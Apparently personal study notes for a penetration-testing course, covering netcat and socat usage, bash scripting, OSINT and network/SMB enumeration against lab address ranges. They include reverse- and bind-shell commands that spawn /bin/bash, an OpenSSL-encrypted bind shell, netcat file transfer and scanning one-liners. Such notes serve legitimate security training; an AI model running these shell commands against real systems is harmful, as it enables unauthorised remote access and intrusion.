Practical Tools
Netcat
nc -nvlp 4444 -e /usr/bin/bash
nc -nv 192.168.xxx.xx 4444 -e /usr/bin/bash
Transfer file:nc -nvlp 4444 > incoming.txt
nc -nv xxx.xxx.xxx.xxx 4444 < sendfile.txt
socat
socat - TCP4:10.11.0.22:110
sudo socat TCP4-LISTEN:443 STDOUT
sudo socat TCP4-LISTEN:443,fork file:secret.txt
socat TCP4:localhost:443 file:receive.txt,create
reverse shell
sudo socat -d -d TCP4-LISTEN:443 STDOUT
socat TCP4:localhost:443 EXEC:/bin/bash
-d -d increase verbose level two times
encrypted bind shells
create certificate:openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
cat bind_shell.key bind_shell.crt > bind_shell.pem
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
socat - OPENSSL:localhost:443,verify=0
Powershell
Set-ExecutionPolicy Unrestricted
file transfer
…
Let me skip this
Wireshark
catpure filter:net 10.11.1.0/24
display filter:tcp.port == 21
rightclick package->follow tcp stream
TCPDUMP
sudo tcpdump -n -r password_cracking_filtered.pcap | awk -F" " '{print $5}' | sort | uniq -c | head
Bash Scripting
variable
1 | var1=hello |
1 | var1='hell world' |
for single quote: interprets every enclosed character literally
for double quote: excpet $
, ```, and \
1 | user=$(whoami) |
command execute in a subshell
$1, $2 …. arguments
$? The exit status of the most recently run process
Reading user input
read answer
assign to answer variable
-p specify the prompt
-sp secret prompt
Conditions
1 | if [ <sometest> ] |
1 | Operator Description: Expression True if… |
cmd && cmd2
execute cmd2 only if cmd return true/successcmd || cmd2
execute if cmd fails
1 | if [ <cond1> ] && [ <cond2> ] |
Loops:
For loop
1 | for var-name in <list> |
While loops
1 | while [ <some test> ] |
functions
``
function function_name {
echo “$1”
}
function_name () {
commands…
}
function_name $RANDOM
1 |
|
local variable
1 | name1=hello |
Some practical usage
1 | grep "href=" index.html | grep "\.google" | grep -v "www\.google\.com" | awk -F "http://" '{print $2}' | cut -d "/" -f 1 |
[^/]* any char except ‘/‘
Second usage:
1 | searchsploit afd windows -w -t |
-w Show URLs to Exploit-DB.com rather than the local path
1 | for e in $(searchsploit afd windows -w -t | grep http | cut -f 2 -d "|"); |
-q quite mode
1 | #!/bin/bash |
Third usage:
1 | sudo nmap -A -p80 --open 10.11.1.0/24 -oG nmap-scan_10.11.1.1-254 |
awk use space as delimiter
1 | for ip in $(cat nmap-scan_10.11.1.1-254 | grep 80 | grep -v "Nmap" | awk '{print $2}'); do cutycapt --url=$ip --out=$ip.png;done |
cutycapt render the webpage
Passive Information Gathering
Passive Information Gathering (also known as Open-source Intelligence or OSINT)
- never communicate with the target directly
Website Recon
simply browsing the site
Whois enueration
whois google.com, can also look for ns
reverse lookup:whois <ip>
Google Hacking
site:domanname.com filetype:php
site:domanname.com -filetyle:html
intitle:"index of" "parent directory"
https://www.exploit-db.com/google-hacking-database
netcraft
https://www.netcraft.com/
https://searchdns.netcraft.com
Recon-NG
Shodan
Security headers
SSL server test
https://www.ssllabs.com/ssltest/
analyze ssl configurations
User information gathering
Email Harvesting
theHarvester -d hello.com -b google
https://www.social-searcher.com
https://digi.ninja/projects/twofi.php
https://github.com/initstring/linkedin2username
StackOverflow?
Some frameworks
OSINT Framework https://osintframework.com/
Maltego https://www.paterva.com/buy/maltego-clients.php
Active Information Gathering
DNS Enumeration
host www.google.ca
host -t mx www.google.ca
Forward Lookup bruteforce
Reverse lookup bruteforce
1 | for ip in $(seq 50 100); do host x.x.x.$ip; done | grep -v "not found" |
DNS ZONETRANSFER
host -l
dnsrecon -d domain -D ~/list -t brt
Port Scanning
nc -nvv -w 1 -z 10.11.1.220 3388-3390
-w option specifies the connection timeout in seconds and -z is used to specify zero-I/O modenc -nv -u -z -w 1 10.11.1.115 160-162
-u udp
Nmap
-sT connection
-sU udp scan
-sS stealth/SYN scan
network sweeping
nmap -sn 10.11.1.1-254
-sn: Ping Scan - disable port scannmap -p 80 10.11.1.1-254 -oG web-sweep.txt
nmap -sT -A --top-ports=20 10.11.1.1-254 -oG top-port-sweep.txt
top ports determined here: /usr/share/nmap/nmap-services
-O OS fingerprint scan
-sV determine service and version info
Nmap scripting engine (NSE)
masscan
sudo apt install masscan
SMB Enumeration
port 139, 445nmap -v -p 139, 445 --script=smb-os-discovery 10.11.1.227
nmap -v -p 139,445 -oG smb.txt 10.11.1.1-254
sudo nbtscan -r 10.11.1.0/24
NFS Enumeration
rpc-bind 107